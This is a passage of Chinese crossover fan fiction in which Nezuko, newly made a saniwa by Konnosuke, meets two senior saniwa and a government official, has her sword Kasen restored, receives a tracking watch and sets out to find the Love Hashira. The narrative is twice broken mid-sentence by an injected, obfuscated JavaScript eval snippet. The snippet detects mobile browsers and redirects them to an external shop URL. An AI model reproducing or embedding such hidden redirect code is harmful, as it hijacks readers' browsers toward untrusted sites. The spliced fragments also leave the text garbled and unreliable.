新任审神者遇到刀剑相关的事情总是会手忙脚乱,不过这些都是出于对刀剑的爱护,作为时之政府的狐,狐之助喜欢因为刀剑男士焦急的审神者。 祢豆子这下彻底放心了。 炭治郎扶着妹妹的手,将有些虚弱的祢豆子扶坐好才松开。 将祢豆子的担忧解决,狐之助这才提到了时间溯行军没来前的话题:“之前所说本来该来救您的恋柱并没有来,或许是时间溯行军做的。我们接下来要做的就是顺应历史的发展,找到恋柱,通过恋柱加入鬼杀队。” “狐之助你所说的历史是鬼杀队恋柱救了我,并带我进入鬼杀队,那现在她没有来岂不是已经改变历史了?” 这个问题狐之助也排练过,它自信满满地回答:“这并没有真正改变历史。历史本身是会逐渐修正的,如果时间溯行军已经改变了部分历史,我们只要将重要的历史节点维护好,比如您带着炭治郎阁下加入鬼杀队,比如您和鬼杀队的其他柱一起消灭鬼舞辻无惨这样最重要的历史维护好,历史就会逐渐修正其他被干扰的历史,直到这个世界的历史回到原本的样子。” 对于有些该死去却因为各种意外或者时间溯行军的阻挠没有死去的人……狐之助咽下了这句话。 维护历史是审神者的职责,这其中有太多血泪和挣扎,但无论是刀剑男士还是审神者最终都会走上坚定地维护历史的路。 希望主人到那个时候也能够尽快明白。 不过这些对主人来说还早,等真正面对时再告诉她吧。 祢豆子似懂非懂地点点头,虽然狐之助说了一堆历史历史的,导致她脑子里现在只有“历史”一个词语刷屏,但中间的部分还是听懂了,她现在要做的就是去找到恋柱加入鬼杀队就好了。 “那么,我该如何找到恋柱呢?我主动找上她,她会不会怀疑呢?”祢豆子有些担心,“鬼杀队的人都很憎恶鬼吧,他们能接受哥哥吗?” 炭治郎拍了拍祢豆子的头做安抚:“没事的,我,一个人,没问题。” 炭治郎表示自己一个人在外边也没事,希望祢豆子能安心。 “根据我在这个世界搜寻的历史分析恋柱,主人带着炭治郎阁下通过恋柱的考验加入鬼杀队的可能性是89%,如果有我在一旁辅助这一概率能达到99%,所以您不必忧心,我会跟在您身边帮助您的。”狐之助骄傲地挺胸,“我能够分辨方向,追踪目标。在去寻找恋柱的路上您也可以请教歌仙大人,他的剑术也能为毫无根基的您打下基础,帮助您尽快成为一名合格的剑士。” “对于灶门阁下您也不必忧心,我会检测出最轻便、最适合作遮蔽的木材,用木材做一个小箱子,炭治郎阁下很快就能掌握自己新的身体,随自己的心意变化大小,白天赶路时待在箱子里就安全了。”狐之助显然为自己的能力骄傲。 就在这时,有声音从门口传来。 “哦呀,看来你过得还不错嘛,狐之助。” 一道黑色的身影裹着风雪站在门口屋内,他戴着墨镜看向狐之助,笑得肆意:“我可是冷却时间一过就来找你了,感动吗?” 4. 第四章 代号为“六眼”的审神者和他的刀 “六眼大人!您没事了吗?”狐之助高兴地跑过去在来人身边转圈圈,又看到他背后空无一人,大惊失色:“您又是自己一个人跑出来了!” “嗨呀,没事的,没事的,我可是最强的,上次要不是时间限制,区区时间溯行军……” 被称作“六眼”的审神者拎起狐之助进入屋内,和灶门兄妹打招呼:“呦,你们好呀,我的代号是六眼,看来狐之助为自己选了个审神者呢。” 刚刚六眼在屋外,屋内只能看到一个模糊的黑色身影,他进入屋内祢豆子才看清他整个样貌。 身材高挑,进屋时还稍稍弯腰才进来,他抬头时最注意到的是他嘴角挂着的不羁的笑,然后视线上移看到那副明显的墨镜。 是因为有六只眼睛所以才带了墨镜吗?祢豆子想。 墨镜遮挡的眼睛看不到具体样子,却没有影响到他本来的样貌。他穿着一身黑色高领贴身的衣服,不是和服款式,应该是西洋风的衣服,头发却是相反的白色,极具反差的颜色更加凸显此人如被神明赐福一般的容颜。 “我的名字,灶门炭治郎。”炭治郎率先反应过来,磕磕绊绊地介绍自己,他现在说话虽然不连贯,却已经能清楚地说完一整句话了。 炭治郎看向对六眼美貌看愣的祢豆子,拉了拉她的衣角。 “醒醒。” 因为并不清楚审神者之间能不能暴露姓名,炭治郎没有说出祢豆子的名字。 “十分抱歉!”祢豆子终于反应过来,意识到自己居然失礼地看了六眼这么久,一时窘迫地红了脸:“我的名字是灶门……” 准备说出自己名字的祢豆子被六眼制止了,明明刚刚还在门口,一瞬间就站在了祢豆子面前,他修长苍白的手指抵在祢豆子柔软的嘴唇上:“即使是同事也不能轻易告诉自己的真名哦。” 他低头,墨镜顺着鼻梁往下滑了一些,与代号不一样,六眼并没有六只眼睛,他有一双像雨后天空一般绚烂的苍空之瞳:“你的代号是什么?” 六眼的嘴巴一张一合,祢豆子却什么都听不到,她的脑子已经被宕机,脑子里只有一个想法: 好近!怎么办! 可怜祢豆子活了12年,见过样貌最好的人也是自己的妈妈和显现没多久的歌仙兼定,他们的长相也都是温和的美,第一次见到这般锐利的长相,还是异性,他又突然与她贴这么近,整个人都僵硬了,祢豆子感觉自己的呼吸都在六眼靠近的那一刻停止。 “太不风雅了,要和女孩子保持距离啊。”声音从怀里的刀发出。 似乎是为了说出这句话把剩下不多的灵力耗尽了,歌仙兼定的刀身变得有些黯淡。 炭治郎赶紧把妹妹往后拉,用自己的身体隔开两人,警惕地看着六眼。 六眼对此没有发表意见,他站起身,带着不羁的笑,看向祢豆子怀里的刀:“新人,你的刀出问题了吗?” “狐之助说是因为我的灵力用完了。”和六眼拉开距离终于感觉自己能呼吸的祢豆子缩在炭治郎身后,把歌仙兼定的本体刀递给六眼,“前辈,麻烦您能帮我看看歌仙先生吗?变成这个样子他会不会受影响?” 虽然狐之助说了没问题,但还是再确认一遍比较保险。 六眼拿过歌仙兼定,仔细查看。 刀身没有问题,刀内储藏的灵力好像枯竭了。六眼尝试把灵力注入一些,立刻感受到了刀内传来嫌弃的情绪。 被讨厌了…… 六眼心虚地摸了摸鼻子,仔细检查后把歌仙兼定递回去。 “我和狐之助的结论一样,是灵力的问题,刀并没有损伤。” 祢豆子松了一口气,又想起来自己还没跟六眼说自己的代号,于是开口:“那个……我的代号是金平糖,请多指教!” “金平糖~”普普通通的词语被六眼说得缱绻不已,“是喜欢甜食吗?我也很喜欢甜食哦~说起来我知道东京有好几家……” “因为金平糖很好吃。”和六眼对话实在是考验祢豆子的心理承受能力,对方好像一直在散发魅力,祢豆子对这种异性应对不来,她赶忙转移话题,“狐之助,我大概多久才能恢复灵力,让歌仙先生现身显形呢?” “根据我的推测大概需要三天左右。” “其实我有个快速恢复灵力的办法哦,虽然不能全部恢复,但至少够让你的刀显形。” 六眼顺势坐到屋里唯一的桌前,撑着下巴,坐得七扭八叉,不怀好意地冲着祢豆子笑。 总觉得六眼的办法绝不是什么正经办法,理智告诉祢豆子最好别问,但为了歌仙兼定祢豆子还是问了出来:“请问是什么办法呢?” 六眼笑嘻嘻地伸出一只手,冲祢豆子摆了摆:“我可以把自己的灵力传给你一部分哦,不过需要一些小小的肢体接触~嘛,你要知道能和这么帅气的六眼大人肢体接触可是赚大了哦~” “轻浮!”一旁的炭治郎眼睛喷火,大正时期思想相对还是要保守一些,六眼的行为无疑是当着炭治郎的面调戏他的妹妹。 “诶——”六眼假装失落,“可这确实是最快恢复灵力的办法,不信你问狐之助。” 三双眼睛看向狐之助,狐之助表示自己很无助,他结结巴巴地说:“这……这我并不清楚。” 作为新狐,狐之助获得的资料只有如何成为审神者的引导者和助手,审神者之间的交往方式只有基础操作方式,灵力相关他真的不清楚。 时之政府的审神者是来自各个世界的智慧物种,他们各自的能力五花八门,说不定真的有可以让渡灵力的办法。 “不可以!” 炭治郎对祢豆子摇头表示他并不赞同这种方式,六眼只笑着看他们的动作并不说话。 “请不要再戏弄别人了,主人。” 又一道声音从门口传进来,白色的身影逐渐靠近,随后走进屋子。 感觉灶门家好像成了什么刷新地,一个又一个生物就这样接连不断地出现…… 祢豆子在白色的身影走进后才看到来人并不是穿着白色的衣服,而是披着一个白色袍子,袍子下穿的也是西洋风的衣服,白色的兜帽下隐约能看到几丝散落的金发。 好像有点眼熟。 “哟,你来了呀,被被。”六眼笑嘻嘻地冲来人打招呼。 “真是个不省心的主人,一句话不说就跑出来,大家都担心死了。”来人看着自家审神者这样就有些头疼,又看到好奇看着他的两人,自我介绍道:“我是山姥切国广。” “是我的刀哦~被被可是超级——漂亮的一把刀!”一旁的六眼补充。 “漂亮之类的……别那么说。”山姥切国广拉下兜帽遮住自己的脸。 “啊,想起来了!国广的第一杰作!”狐之助给的玉牌里面有介绍的。 祢豆子刚说完就看到山姥切国广把自己的兜帽拉的更低,试图挡住被 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“知道了知道了。”六眼在近侍严肃的眼光中端正地坐起来,继续刚刚的话题:“既然都不同意这种办法,那只有一种办法了。” 六眼在屋内人迅速汇集到他身上的视线中缓缓讲述:“时之政府有一种刀种叫剑,每种剑都有神奇的能力,据我所知有一种剑就可以恢复刀剑的灵力。恰好……” 六眼话音一转:“我就没有这种剑。” 祢豆子悬起的心重重落下,脸上堆满失落。 炭治郎握紧妹妹的手安慰她。 祢豆子感受到手被哥哥紧紧握着,心里充满了慰藉,她鼓起勇气正打算再询问一次之前六眼说的那种需要握手的办法,刚抬眼就看到六眼带着戏谑的脸。 肯定又被戏弄了。祢豆子心想,面上却没有显露出来,她低头看着手里的歌仙兼定,继续和炭治郎保持失落的神态。 歌仙兼定在祢豆子手里安静地呆着,没有发出任何动静。 要是六眼真的没有别的办法,只是接触而已,她可以。 不可以。 情绪从手中的刀流入心中,歌仙兼定表示不赞同。 祢豆子无奈地默默刀鞘,在心里告诉他,她不会轻易选择这个办法的。 旁边的狐之助急得团团转:“那可怎么办” 山姥切国广倒是很淡定,他了解自己的主人,这会儿肯定是在逗他们玩,但今天已经拆了好几次主人的台,这会儿还是满足一下主人想捉弄人的心理吧。不然回到本丸被捉弄的就是他们了。 伤他丸不伤本丸。 而且还好今天是他做近侍,如果没记错轮值表上明天的近侍可是那个鹤丸,晚一天来的是鹤丸国永的话,那个时候才是真正的灾难。 一想到主人和鹤丸待在一起的样子,山姥切国广就开始头疼。 果不其然,六眼看满足了他们焦急的表情才开口:“虽然我没有,但是我认识的同事有。” 六眼手里突然冒出一个白色的一面会发光的长方形物品,只见他点了点发光的地方,光线变了变后传来一道低沉是声音:“喂?” “小咖喱,坐标(20160215,20190406,1228,714),带上你家白山,这里有个小朋友需要你的帮忙哦~” 对方沉默了几秒,回答道:“稍等。” 5. 第五章 公务员“辣咖喱” 喊完人后,六眼又在屏幕上点几下后,看向祢豆子。 “说起来,金平糖你是狐之助自己找的审神者,和平台的审神者还不太一样。我刚刚查了一下,你目前只是在时之政府网上备案,后面还需要线下备案,而且后期还有一次审神者考核,通过后你才能进入实习期。” 六眼看着略显迷茫的两人,又开口道:“说起来我认识的这位正好就是时之政府的公务员,你现在认识一下,说不定考核的时候就是他来,到时候说不定可以给你放放水哦~” “请问网上是什么?是蜘蛛织的网吗?还有线下和公务员又是什么?”祢豆子从未听说过这种记录的方式,或许是城里时兴的物品吧。 六眼打了个响指,对祢豆子赞赏地笑:“能向老师直接提出自己的疑问的学生就是好学生,老师我啊最喜欢这种学生了!” 也许是以前当过老师的缘故六眼对这样的祢豆子很是热情地解释了。 “线上呢就是一种虚拟的,看得见但摸不着的记录方式,就像你看见我来了你家,你记住了在某年某月某日六眼到了灶门家,这种记录的方法看不见摸不着,但是这是有一个物品,呐,就是我手上这个,能够像纸张一样显示出你心里想的东西,并且在想要知道这一天我去了哪里时,这个物品就会在你查阅后自动显示我在这一天去了灶门家,而且会告诉我灶门家的地址。但只要你不去查,就看不到这个事情,这就是线上的记录。比如刚刚我想要知道你现在在时之政府的状况,所以在这里输入“金平糖”后就能看到我的权限范围内可以知道的关于你的事情了。” 六眼抬起手腕,给祢豆子看自己手腕上的正在发光的东西,奇怪的是明明祢豆子认识的字并不多她却能看懂上面的意思。 在审神者“金平糖”后面的注释里有“线上备案”“初始刀-歌仙兼定”“本丸”“待审查”“新任审神者”等词语,但是除“线上备案”和“初始刀-歌仙兼定”是绿色外,其他的都是红色或者灰色,再往后看是被黑色色块遮住的部分。 “黑色的这部分就是我的权限范围外的内容了。对了,权限就是时之政府允许我查看的内容,毕竟我只是一个普通审神者,和一会儿会来的家伙权限不一样,不过以他的性格大概会直接告诉你你要做的事情。” “线下就是看得见摸得着的记录方式,线下备案就是你本人要到时之政府的总部去接受审查,记录你身上的信息,比如瞳膜、指纹、灵力属性和灵力存储等。” “公务员就是为时之政府工作的人,用你们这里说的话就是所有官府承认的为官府工作的人就是公务员了。” 好学生点点头,大概明白了。 正在这时白光闪过,穿着褐色西装的男人和带着小狐狸的少年出现在他们面前。 男人衣着整洁,政府特制的西装穿在身上挺括有型,他站在屋内环顾四周,目光略过笑嘻嘻的六眼,停在祢豆子身上。 “六眼君,是她吗?” 六眼抱臂靠着墙边答:“是哦,这可是一位可爱的小姐呢,今天才成为审神者,以后还要靠尊敬的公务员先生多多关照呢。” “公务员先生你好,我是金平糖,这是我的哥哥炭治郎,请多关照。” “我是辣咖喱,很高兴认识你。” 公务员先生和看起来严肃紧绷的公务员制服并不相搭,虽然他看起来干净整洁,头发也用发胶做了造型,站着不动只是微微抬眼时显得严肃刚正,但他此时微微点头,整个人的气质就和缓下来,与刚刚截然不同的慵懒从内散发,冲淡了祢豆子内心的紧张。 辣咖喱身侧的人,不……也许是刀剑男士走上前,他看着祢豆子道:“我是白山吉光。” 也许看出了祢豆子的紧张,六眼指着祢豆子手里的歌仙兼定道:“就是它需要帮忙,金平糖刚上任不久,不小心在灵力用尽时把自己和初始刀的灵力连接搞断了,这会儿自己也没灵力建立新连接了。我想白山不是可以恢复刀剑的灵力吗?先把她家歌仙从本体内放出来,让刀剑主动和审神者建立连接会更加方便。” 灵力连接断了吗?这还是祢豆子刚刚没有听到的事情,这才是歌仙先生回到本体内的真正原因吗? “我明白了,麻烦你了白山。”辣咖喱揉揉白山吉光的头,又从兜里掏出一份点心交给他。 白山吉光被揉地有些脸红,他收下点心。转头面对祢豆子时脸上的红晕已经消失,他冲祢豆子点点头:“修复开始。” 说着就抚上歌仙兼定的刀柄,乳白色的光晕从白山吉光身上飞入刀内,没一会儿,歌仙兼定重新出现在祢豆子面前。 "修复完成。" 随着歌仙兼定的出现,祢豆子也隐隐约约感受到有什么从外面时不时触碰着自己身上的某一处,说不上来是哪里,只感觉轻飘飘的很舒服,就像两只想要互相握住的手,在抓住那一刻,祢豆子感觉自己好像不依靠歌仙先生的本体就能感受到他的情绪和一些思想了。 这大概就是六眼先生说的精神连接吧。 “真是太好了歌仙先生!”祢豆子高兴地冲上去抱住歌仙兼定。 歌仙兼定摸摸祢豆子的头,又拍拍跟着在一旁高兴的炭治郎:“真是惭愧啊,让主人和孩子这么担心。” 被称作孩子的炭治郎有些脸红,歌仙先生真的好温柔,从他出现开始他就闻到了,宁和又捎带狂躁的气息,但狂躁被宁和的味道压得死死的,如果不仔细闻很难捕捉到,就像父亲一样。 “所以现在是什么情况?非政府培训的审神者吗?”辣咖喱看着祢豆子,感受她身上与其他审神者不同的气息。 “没错!”六眼夸张地张开双臂向辣咖喱笔画,“是不是很惊喜!这可是除了我们之外唯一的非政府培训审神者,有没有感觉很亲切!” 辣咖喱面色不变地点点头,丝毫没有对六眼夸张的动作动容:“是很亲切。” “六眼前辈和辣咖喱前辈也是狐之助招的吗?”祢豆子好奇地问。 “这个嘛……” 出乎意料的是,六眼居然没有抢先回答,他低下头嘴角拉平,像是想到什么不愉快的事情。 辣咖喱倒是一副无所谓的表情:“我和六眼君是由另一位审神者前辈从生死边缘救回来的。” “嘛嘛,都是一些陈年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055151|194866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往事了,重要的还是当下了。”六眼看似想快速摆脱这个问题,他开始向在座的各位发出邀请。 狐之助尾巴一摆跳到祢豆子旁边开始小声数数:“五……四……” “依我看为了和新人沟通感情我们应该……唔……唔……” 六眼的身影变得透明,随着狐之助落下“一”后彻底消失在屋内。 “主人!”山姥切国广也立刻消失在原地。 “主人别担心,六眼大人的时间到了,他现在已经安全回到自己的本丸了。”狐之助笑嘻嘻地用爪子拍拍祢豆子,又拍拍炭治郎,尾巴一摆一摆的,很是可爱。 祢豆子点点头,由看向辣咖喱,向他表达刚刚未尽的谢意:“太谢谢你了,辣咖喱先生,我真是不知道该怎么感激你才好。” “没事。那么,你的刀没事的话我也该走了。” 辣咖喱刚说完又发愣了几秒,像是突然想起来什么似的,只见他抬手,腕上出现一个半透明的带着光板,像手镯一样的东西,他像六眼之前一样点了几下光板,光板射出一道温和的蓝光到祢豆子身上,蓝光在她身上漫游了几秒,随后闪了闪回到辣咖喱手上变成一个和他腕上一摸一样的的手镯。 “这是联系手表,我已经录入了你的信息。”辣咖喱将手表交给祢豆子。 祢豆子好奇地接过手表,发现和六眼给她展示的光板一样,上面的字她都能看懂。 “辣咖喱先生,这么贵重的东西真的要送给我吗?” 炭治郎也好奇地看着妹妹手里的东西,发出感叹:“这是神的造物吗!” 看着眼睛放光的祢豆子和炭治郎,辣咖喱感觉手指有些发痒。 等金平糖建立自己的本丸后一定能和粟田口的短刀们相处地很好吧,辣咖喱想。 毕竟他们都还是孩子啊。 内心已经软的一塌糊涂,虽然辣咖喱真的很想现在就把两个孩子的头好好揉揉,面上还是得维持公务员的职责。 “具体怎么戴狐之助会帮你。我通过公务员内部系统查了你的信息,目前你是只录入信息的半审神者,和实习审神者差不多,后续还需要经历政府考核。等你办好自己的事情,就来时之政府本部吧,我会在那里等你。” 等这一任期结束,绝对不要再被忽悠干活了,好麻烦。 还是躺在本丸和自家刀呆着舒服。辣咖喱心想。 想起那个忽悠自己去时之政府做公务员还债的家伙,辣咖喱内心又软了软,他转身看向祢豆子:“要谢我的话,以后你遇到一个带着绷带的鸢色头发的孩子,请帮我多照顾他。” 说完辣咖喱和白山吉光就消失在屋内,祢豆子这才发现白山吉光刚刚在屋内除了一开始给歌仙兼定治疗的时候说了两句话,其他时间都像木头一样呆着原地。 看来是内向的孩子呢,如果以后能遇到他再向他好好表达感谢吧。 还有辣咖喱说的那个孩子,他怎么会知道自己会碰到这个人呢?是和狐之助之前提到时间线有关吗? 不想这么多了,桥到船头自然直,现在只要能和哥哥还有歌仙先生、狐之助呆在一起就很幸福了。 6. 第六章 审神者的责任 在狐之助的帮助下,祢豆子学会了如何佩戴并使用手表。 简单来说手表起到一个定位和联系作用,戴上手表后时之政府的系统上就会出现祢豆子的具体坐标,并标记位置,出现时间溯行军时手表会自动感应气息并上传系统,记录这条时间线上时间溯行军的动向并自动分析目的,方便进行管理和派驻审神者。 狐之助也向祢豆子仔细解释了选拔审神者的条件。 一般来说,时之政府选择审神者一般为两种方式,一是时之政府总部所在的时间线上设立的审神者学院,招募灵力强的人进入学校进行初级阶段培训,二是时之政府系统观测世界时检测到的灵力强盛的智慧生物。 这两种方式选择出的都叫预备审神者,预备审神者还要通过在时之政府内部系统学习,学业通过后分配不同的世界及时间线,建立本丸或者接管已有却无主的本丸后才成为实习审神者。实习审神者将新建本丸等级提升至10级且无刀剑碎刀,或者得到已有本丸的刀剑认可后,才能成为正式审神者。 “那六眼前辈和辣咖喱前辈说他们跟我一样是非时之政府培养的审神者,就是因为我们都不是通过这两种方式成为审神者的吗?” “没错,而且我发现这个世界的时间线有些特殊,非本世界的生物是不能长久停留,我发现时间溯行军时他们正在世界边界准备突破结界,想必他们也不能在这个世界停留很久,所以一来就冲着您的性命下手。也是因此我需要选择这个世界的人成为审神者才能干预这条时间线。” 当然,最主要的原因还是不能留案底。 “那狐之助你为什么可以一直停留在这个世界呢?和我有关?” 狐之助起身靠着桌腿直立,将自己的腹部向两人袒露,雪白的腹部上一条红色的、像火焰一样的印记格外明显:“主人无意之间给我的灵力在修复后刻上了世界标记,有了它我就可以在这里一直待着。我们狐之助和其他审神者不同,我们是时之政府创造并唤醒的式神,我们身上被世界排异的程度相比于审神者要轻许多。” 骗你的,其实是签完合同才有的,能留在这个世界这么久其实因为它提前得到了主人的灵力,世界意志没发现它,不然早被扔出去了。 "不过还比不上刀剑男士,像歌仙阁下就可以在任何的时间线上一直待到灵力耗尽为止。" “审神者在这个世界大概能待十分钟左右,我们狐之助可以待三天。”狐之助看向疑惑的两人解释道,“一分钟就是手表上圆盘的指针转一圈的时间。” 祢豆子点点头,又问:“六眼先生和辣咖喱先生说的又考核是什么?” 狐之助沉默了一会儿,才开口问她:“主人,你还记得当初在签合同前我特地问你的几句话吧?审神者的职责你还记得吗?” “保护历史?”祢豆子有些不确定。 “是的,保护历史。这不仅是时之政府的责任,也是审神者和刀剑男士的责任。你们存在的本身就是为了和扰乱历史的时间溯行军战斗,恢复被扰乱的历史。也是因为这个世界有时间溯行军要扰乱历史,想要杀掉属于历史核心的您,我才找到您的。” 祢豆子还是很迷茫,她不懂狐之助想要表达什么意思。 “鬼舞辻无惨作为活了上千年的鬼,他的力量何其强大,想要杀掉他必定压迫付出惨痛的代价。” “我不怕死!就算只剩最后一口气我也要消灭鬼舞辻无惨!”祢豆子早在知道鬼舞辻无惨的来历时就做好觉悟了。 旁边的炭治郎也坚定地点头。 “消灭鬼舞辻无惨除了靠您的力量,还要靠鬼杀队,这也是我们后面要找到恋柱的原因。在您加入鬼杀队后,面对注定要在鬼舞辻无惨的手下死去的同僚,面对明明只要救援赶到了就能活下来的人,您还会这样想吗?您会放任他们去死吗?” 祢豆子沉默了。是她没有认真去想这个事情。 狐之助有些不忍,但这毕竟是它挑选的审神者,它要负责到底的,而且那个手表…… 它想了想还是决定告诉祢豆子:“辣咖喱大人交给您的那个手表是每个审神者在通过实习期后都会由时之政府赠与的。除了联络其他审神者和查阅资料的作用外,手表还有一个很重要的作用:检测历史。如果历史发生改变后三天内审神者还没能维护历史,手表会自动判定审神者受伤,呼叫救援。这既是对审神者的保护也是对审神者的监视。” 也就是说,如果祢豆子面对既定的历史没有选择维护反而选择改变的话,来的就不是救援而是审判了。 祢豆子陷入沉思,她不敢想象面对这种情况她会做出什么选择。 场面陷入僵局。 “好了好了,该休息了,现在可是休息的时间,炭治郎大人现在的状态不能吃东西,要靠睡眠才能恢复。” 狐之助主动打破僵局,把两人赶去睡觉。 毕竟有些事情不是靠想就能明白的。 祢豆子和炭治郎刚躺下没一会儿就睡着了。 就当狐之助打算蹦出去寻找适合做轻便木箱的材料时,歌仙兼定冷不丁地开口。 “当初时间溯行军想要攻击主人被你们破坏后,没有选择去保护将要被杀掉的灶门一家吗?” “毕竟要是灶门一家都没事,主人应该就不会主动想去鬼杀队了。” 狐之助大惊失色:“歌仙大人,您是怀疑我阻拦了时间溯行军保护灶门一家吗?!” 狐之助急得尾巴都不听使唤,四处乱摆:“这这这……我怎么可能会做出这么恶毒的事情呢!您不能这样随意污蔑狐吧!这要是被主人听到万一怀疑我怎么办!我和主人之间的信任是很重要的!” 歌仙兼定皱着眉头盯着狐之助,看了好一会儿,直把狐之助看得狐之助冒冷汗才移开视线:“也许是我想叉了,对不起狐之助。” “您能明白就好,我还要给炭治郎大人找适合做木箱的材料,先走了!主人和炭治郎大人麻烦您在这里看着,防止有人打扰。” 说着,狐之助一溜烟跑了。 留下歌仙兼定负责守护祢豆子和炭治郎的安全。 真的是自己想错了吗?歌仙兼定看着熟睡的主人,眼神缓和了下来。 算了毕竟是因为狐之助自己才会被主人唤醒,如果日后真的发现是它做的,就赶在主人知道前,给它一个痛快的死法吧。 另一边的狐之助还在吭吭哧哧找木材,突然背后一凉,感觉有什么不妙的预感,它抖抖毛摸摸脖子前的铃铛,安慰自己:“没事的,没事的,主人不会知道的。” 等狐之助带着木材回来时发现炭治郎已经醒了。 炭治郎小心翼翼地起床,把被子给妹妹盖好,蹑手蹑脚地出来,和狐之助一起在外边捣鼓木材。 听狐之助介绍,这种木材特别轻便,祢豆子肯定背得起来。 “有没有什么办法能让我的身体变轻呢?”炭治郎问。 狐之助眼睛一亮,它知道有种方式可以,就是不确定炭治郎能不能做到。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055152|194866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “炭治郎大人能不能试试吧自己变小呢?” 炭治郎看着地上已经被削好的木板,感受自己身体的力量,闭上眼想象自己是个特别小的人。 等他再睁开眼就发现狐之助变得特别大,恍然醒悟是自己真的变小了。 狐之助兴奋地拿木材和他比较,迅速削好大小,旁边的歌仙兼定也过来凑热闹,拿起木头削成各种花的形状,又在狐之助做的小木板上刻上花纹。 很快一个简易又不失精美的盒子就做好了。 歌仙兼定不知道从哪变出一条彩色的绳子,连接盒子两端,将盒子变成一个可以单肩背起的木包。 由忘盒子里垫了不少棉花和布料,炭治郎钻进盒子里发现很很舒适,木箱四周也垫了柔软的布料,想必祢豆子就算在赶路的时候打个滚他也最多会头晕,不会跟着撞在盒子上。 没一会儿,炭治郎感觉睡意袭来,不知为何他总觉得这次会睡很久,急忙告诉狐之助自己会睡很久后,睡意涌上。 朦胧间他好像看到狐之助把什么东西塞到他怀里,很熟悉的味道,有一道声音说:“好好睡吧炭治郎大人,在沉睡中尽力补充能量吧,主人日后还需要你保护……” 月亮西斜时祢豆子被歌仙兼定温柔唤醒。 歌仙兼定递给祢豆子一个带彩色麻绳的精致小木盒。 “这是什么?”祢豆子揉揉睡眼惺忪的双眼,她已经好几天没有这样安心睡过觉了。 “主人打开就知道了。” 祢豆子打开盒子开关。 “哇!” 盒子里面是裹着棉花抱着祢豆子的粉色丝带呼呼大睡的炭治郎。 祢豆子刚睡醒的朦胧全部消失,她惊喜地问:“哥哥怎么会变得这么小!天哪,这也太可爱了!” “是狐之助拿来材料时炭治郎君发现自己可以变小,于是狐之助就根据炭治郎君现在的体型为他量身打造出这个小盒子,我在里面略添一些物品作装饰。”歌仙兼定温柔地看着祢豆子,又有些担心盒子里沉睡的炭治郎,“炭治郎君睡前说感觉自己这次可能要睡许久。” “哥哥……”祢豆子伸出手想碰炭治郎的脸,但因为炭治郎变的太小了,以至于祢豆子的手指尖就有炭治郎半张脸大了。 祢豆子的指尖点着炭治郎的脸,炭治郎似乎在睡梦中也能感受到妹妹的气息,丢下发带转而抱住祢豆子的手指。 盒内炭治郎抱着祢豆子的手指沉沉地睡着,盒外祢豆子看着这样的哥哥,心像是化开了一般温暖。 她轻轻收回自己的手指,把发带放回炭治郎怀里,又将歌仙兼定准备的小被子给炭治郎盖好,这才合上盒子,小心翼翼地斜跨在身上。 将盒子戴好后,祢豆子抬头看着歌仙兼定,想起这几天发生的事情,眼泪不禁泛出,她由衷地感谢道:“歌仙先生,能遇到您和狐之助真是太好了。” 歌仙兼定温柔地拭去祢豆子的泪花,风雅的刀开口:“毕竟我可是为主人而生的刀,让自己的主人高兴才是文系刀擅长的事。” 狐之助在门口偷偷看歌仙兼定将祢豆子安慰好才进来,它是真的不会哄人,还是给主人做辅助工作才是它最擅长的。 “主人,可以出发了!” 在祢豆子睡着的时候,一人一刀一狐已经将屋内外整理好了。经狐之助测量的实时数据推测,这个时候向东南方向去,大概一个月就能在小泉山和鬼杀队的恋柱甘露寺蜜璃相遇。 “出发!目的地——小泉山!” 7. 第七章恋柱甘露寺蜜璃 刚到小泉山时太阳已经下山,暖阳的余韵中山里静悄悄的,偶尔发出一些小动物经过的窸窣声和几声鸟鸣。 狐之助和祢豆子行至半山腰,歌仙兼定在祢豆子的建议下已经回到刀本体内休息。 忽然,狐之助停下脚步,耳朵直立,隐隐约约听到了乌鸦的叫声。 “应该就在前面了。” 祢豆子继续往乌鸦叫声的方向前行。 前行没几息,前方就传来剧烈的打斗声 “炎之呼吸——二之型·炎天升腾!” 樱粉发的女孩持刀劈向前方的灰白色石头,火焰随着呼吸从刀面涌出,一起落在石面上。 石面却毫发无伤,甚至微微抖动。 定睛一看,石面上竟然有一双带着竖瞳的双眼。 石面中间裂开一条缝隙,张张合合间显露一条蓝色的舌头。 原来这竟是一只在说话的石头鬼。 “嘎——人类!禁止!禁止上前!危险!危险!” 乌鸦飞至祢豆子面前,大声制止祢豆子想要上前的动作。 这种会说话的乌鸦应该就是狐之助所说的鬼杀队专门培养的鎹鸦了。 还在和鬼战斗的女孩注意到这边有普通人类过来,有些慌张地冲他们摆手:“不要来这边,这里很危险!” 说话间也没有停止攻击石头鬼的动作。 祢豆子有些不知所措,她该怎么跟她说她知道她是鬼杀队的恋柱甘露寺蜜璃,她想通过她加入鬼杀队……该怎么跟她解释自己知道这些呢? 因为太想为家人报仇,路上只是跟着歌仙先生学习剑术,关心关心偶尔会醒来的哥哥,除此之外脑子中只想着要加入鬼杀队,根本没有想过怎么跟恋柱解释自己是专门来找她,想要通过她加入鬼杀队啊。 听着就很不靠谱! 不管了,还是先诚实一点吧。 “那个——那边那个是会吃人的怪物对吧!我是灶门祢豆子,我的家人被那样的家伙害了,我想学习报仇的办法,也会一些剑法,请让我帮助你吧!” 祢豆子拔出歌仙兼定的本体,回忆着歌仙兼定这几天教给她的用刀方式,配合恋柱攻击石头鬼。 